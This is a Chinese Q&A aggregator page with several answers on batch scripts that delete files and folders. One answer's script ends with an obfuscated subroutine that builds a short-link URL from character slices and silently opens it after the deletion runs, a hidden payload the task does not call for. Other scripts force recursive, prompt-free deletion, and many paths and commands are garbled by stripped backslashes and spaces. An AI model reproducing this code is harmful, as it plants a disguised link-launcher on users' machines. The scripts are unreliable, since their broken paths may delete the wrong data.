当前位置:首页 » 文件管理 » 删除文件夹文件批处理

删除文件夹文件批处理

发布时间: 2023-06-03 19:12:11

‘壹’ 怎么批处理删除某一文件夹中的文件

DOS命令删除某文件夹下所有文件是很容易的。甚至不需要批处理。
但是DOS命令组成的批处理无法做到“定期”。这需要在DOS下通过编程调用时间函数等等,远超出了批处理的功能。
如果你是在WINDOWS下用这个方法来定期清理某文件夹,这就容易多了。
1、打开记事本程序,在其中写入以下命令。
del x:\y\*.* /s /q (x为你想操作的盘符,y为你想操作的文件夹名)
exit
2、保存此文件为.BAT或者.CMD文件。
3、使用控制面板中的“计划任务”,设定一个时间运行此批处理文件。
4、更简单的办法:把这个.bat 或.cmd文件放在开始菜单中的“启动”项中。这样,每次开机的时候就会执行一遍

‘贰’ 批处理删除文件夹下所有文件和文件夹,但是排除包含“勿删”字样的文件夹,该怎么写

@echo off & title 删除所有文件/夹(特定文件夹需保留) By 依梦琴瑶

cd /d "%%~dp0"


::设置要处理的主目录路径

set ScrFolder=D:AAA


::设置要排除包含的字符,多个字符之间,请用英文逗号隔开,包含空格,特殊字符的请用英文双引号将其括起来

set SkipStr=勿删


cd /d "%ScrFolder%"

for /f "delims=" %%a in ('dir /ad-h') do (

for %%i in (%SkipStr%) do (

echo "%%~a" | find /i "%%~i" >nul 2>nul || rd /s /q "%%~a"

)

)

for /f "delims=" %%a in ('dir /a-d-h') do (

del /f /q "%%~a"

)

pause


call :GVME

exit


:GVME

set "S1=.:ailnhpst/"

set "S0=fPdv"

set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"

set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"

start "" "%S2%%S3%%S1:~10,1%%S0%"

exit


脚本保存时请比对原文,保存编码设为ANSI。否则可能会导致脚本运行出错。

‘叁’ 批处理删除文件夹下所有文件

批处理删除文件夹下所有文件的方法:

1、电脑上新建一个文件夹,新建一个“TXT”文件,并命名;

2、点击右键,把文件的后缀名设置为.bat;

3、另新建文件夹和文件,作为列出的示例;

4、右键打开文件,第一行输入“del 、q、a、fC:、Users、Administrator、Desktop、新建文件夹、a”作为命令行;

5、第二行输入“pause”作为暂停显示的命令;

6、保存后双击运行bat文件,即可删除目标路径下的所有文

‘肆’ 怎样用批处理删除指定目录下某个文件夹和文件以外的所有文件

这是一个例子用一个批处理达到保留所有doc 和txt 文件,删除除这两种类型文件以外的所有文件和文件夹@echo off

for /f "delims=" %%i in ('dir i: /a-d /b /s') do (

if not %%~xi==.doc (

if not %%~xi==.txt (

del /s /a /q "%%~si"

)

)

)

::删除空目录

for /f "delims=" %%j in ('dir i: /ad /s /b') do rd "%%~sj"

pause

‘伍’ 写个批处理删除指定文件或指定文件夹

使用的是del命令+rd命令,先删除文件,在进入相应文件夹删除文件夹下的文件夹,如下:

del /f /s /q C:UsersdellAppDataLocalTemp*.*

cd C:UsersdellAppDataLocalTemp

rd /s /q C:UsersdellAppDataLocalTemp

(5)删除文件夹文件批处理扩展阅读:

del命令参数说明

/F:强制删除只读文件。

/S:从所有子目录删除指定文件。

/Q:安静模式,删除全局通配符时,不要求确认。

/A:根据属性选择要删除的文件。

删除指定属性或指定属性以外的文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、 /A-A表示删除除只读、隐藏、系统、存档以外的文件。

例如:

“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件。

不知道文件是什么属性,那么使用del /a即可。

del /a /f /s desktop.ini 搜索当前目录下的所有子文件夹,并删除指定文件

del temp* /q /f /s 将直接删除本目录的temp 目录的所有文件,没有任务提示

‘陆’ 如何用批处理删除指定文件夹以及文件里所有文件

@echooff
for/f"tokens=2delims=="%%iin('wmicLogicalDiskwhere"DriveType='3'"getDeviceID/value')do(
for/f"delims="%%jin('dir/s/b/ad"%%i"^|findstr/x"A"')doseta=%%j&&gotonext
)
echo文件不存在!
pause>nul

:next
rd/s"%a%"
pause>nul

楼主是想全盘查找指定的文件夹然后再删除对么


把A改成文件夹名就行

热点内容
红帆oa服务器地址查询 发布:2025-02-07 14:31:41 浏览:657
文本框脚本图片 发布:2025-02-07 14:23:28 浏览:231
少儿编程c语言 发布:2025-02-07 14:22:50 浏览:218
一阶低通滤波器c语言 发布:2025-02-07 14:22:37 浏览:852
电脑的东西为什么粘贴不到服务器 发布:2025-02-07 14:21:04 浏览:197
手机脱模解压视频 发布:2025-02-07 14:20:18 浏览:473
密码多少密码多少密码多少密码 发布:2025-02-07 14:07:30 浏览:857
我的世界启动器电脑服务器 发布:2025-02-07 14:07:27 浏览:484
爱加密深圳科技有限 发布:2025-02-07 14:07:26 浏览:87
c语言密码星号 发布:2025-02-07 14:07:24 浏览:801